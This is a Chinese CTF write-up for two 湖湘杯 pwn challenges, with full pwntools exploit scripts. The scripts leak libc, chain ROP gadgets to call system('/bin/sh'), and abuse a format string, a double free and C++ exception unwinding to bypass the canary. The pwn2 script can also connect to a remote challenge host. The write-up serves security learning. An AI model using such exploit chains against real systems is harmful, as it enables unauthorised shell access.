湖湘杯wp-pwn


pwn1 what the f**k printf?

输入16个32能够溢出

泄露libc 获取shell

#coding=utf-8
from pwn import *



local=1
pop_rdi_ret=0x0000000000401213
valu_addr=0x000000000401181

if local:
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

context.log_level='debug'
context.arch='amd64'
# pop= int(enhex(asm("pop rdi;ret")),16)
# print


p=process("./pwn_printf")
p.recvuntil("You will find this game very interesting\n")

# print(pop)


p.sendline(str(50015))
for item in range(15):
    p.sendline("32")

elf=ELF("./pwn_printf")


# gdb.attach(p,"b *0x0000000000401181")

payload=p64(0)+p64(pop_rdi_ret)+p64(elf.got["puts"])+p64(elf.plt["puts"])+p64(pop_rdi_ret)+p64(0x20)+p64(valu_addr)
p.sendline(payload)
libc_info=p.recv(6)+b"\x00\x00"
libc_info=u64(libc_info)


libc.address=libc_info-0x6f6a0
print(hex(libc_info))


payload=p64(0)+p64(pop_rdi_ret)+p64(libc.search("/bin/sh").next())+p64(libc.symbols["system"])
p.sendline(payload)

p.interactive()
#1.直接用call函数不是更好?为什么在call完之后调用

遇到问题:

  • 原来使用Ubuntu18的环境运行,在第二次拿shell的时候总是失败
  • 偏移用libc_search搜索出来的,但是还是不准.
  • 在第二次拿shell的时候可以跳过call,上面的脚本运行了call指令,实际上最好是不用call指令,用了call指令在Ubuntu18环境里可能会出问题,具体原因不知道.

pwn2

  • 在read的时候有off-by-one
  • 在show_name的时候有格式化字符串漏洞
  • free之后指针没有清零,有doublefree

try-catch过程

函数实现

unwind过程完成之后将会运行到程序的空间由用户定义的catch函数进行接下来的操作(注意:在catch之前不能修改返回地址可能会跳不到catch函数),整个过程跳过了canary检测

catch函数

直接进行了leave,ret跳过了canary的检测

leave指令进行了

mov esp,ebp;  恢复esp同时回收局部变量空间
pop ebp;          从栈中恢复保存的ebp的值

再次执行leave,ret指令的时候程序会跳转到ebp+4存放的地址将会是返回地址。

这里在堆上布置好rop

exp

from pwn import *

file_path = "./blend_pwn"
context.arch = "amd64"
context.log_level = "debug"
# context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)




debug = 1
if debug:
    p = process([file_path])
    # gdb.attach(p, "b *$rebase(0x121c)")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0

else:
    p = remote('47.111.104.169', 57404)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0
# p=process("./blend_pwn")

def debug_1(addr,PIE=True): 
    debug_str = ""
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) 
        for i in addr:
            debug_str+='b *{}\n'.format(hex(text_base+i))
        gdb.attach(p,debug_str) 
    else:
        for i in addr:
            debug_str+='b *{}\n'.format(hex(text_base+i))
        gdb.attach(p,debug_str) 

def leak_result(until):
    p.recvuntil(until)
    info=p.recv(6).ljust(8,"\x00")
    result=u64(info)
    print("leak_result  content address: ",hex(result))
    return result


def send_name(content):
    p.recvuntil("name: ")
    p.send(content)


def show_name():
    p.recvuntil("choice >")
    p.sendline("1")

def new_node(content):
    p.recvuntil("choice >")
    p.sendline("2")
    p.recvuntil("input note:\n")
    p.send(content)

def delete_node(index):
    p.recvuntil("choice >")
    p.sendline("3")
    p.recvuntil("index>")
    p.sendline(str(index))
def show_node():
    p.recvuntil("choice >")
    p.sendline("4")

def gift(content):
    p.recvuntil("choice >")
    p.sendline("666")
    p.recvuntil(" want:")
    p.send(content)



def get_formate_result(until="0x",length=12):
    info=p.recv()
    info=info.split("0x")
    info=[i[0:length] for i in info]
    print("leak info (may set a and b to get real info) : ",info)
    return info
def get_int(content):
    content=[int(i,16) for i in content]
    out=[hex(i) for i in content]
    print("content to int end is : ",out)
    return content



send_name("%p-%p")

show_name()
info=get_formate_result()
info=get_int(info[1:])
libc.address=info[1]-0x3c6780
pop_rdi_ret=libc.address+0x0000000000021112
payload="a"*16+p64(0)+p64(pop_rdi_ret)+p64(libc.search("/bin/sh").next())+p64(libc.symbols["system"])+"\n"

p.sendline("2")
p.recvuntil("input note:\n")
p.send(payload)
new_node(payload)



delete_node(1)
delete_node(0)
show_node()
heap_addr=leak_result("index 1:")+0x20
# gift("a"+"\n")

#debug_1([0x00000000000012C2,0x0000000000011B8])
gift("a"*0x20+p64(heap_addr)+"\xa9")


p.interactive()

评论
 上一篇
2020全国电信和互联网行业网络安全管理职业技能竞赛pwn-WP 2020全国电信和互联网行业网络安全管理职业技能竞赛pwn-WP
pwn2自己只做了pwn2,就从pwn2开始 c++用于输入输出,主要逻辑是用c实现的。因为会调用c++的库,这里涉及到一些库的库的加载。 漏洞分析 当进行add的时候如果size为0将会成功申请空间 在edit的时候如果size为0可以
2020-11-10 九层台
下一篇 
2019红帽杯 粤湾中心 (RHVM) 2019红帽杯 粤湾中心 (RHVM)
code结构code结构 输入 0x0706050403020100 得到的测试结果为 0x000105040302 实际对应关系是0x050403020100变为0x000105040302 0位置被移动到5位置想要处理后得到想要的值应该
1970-01-01
  目录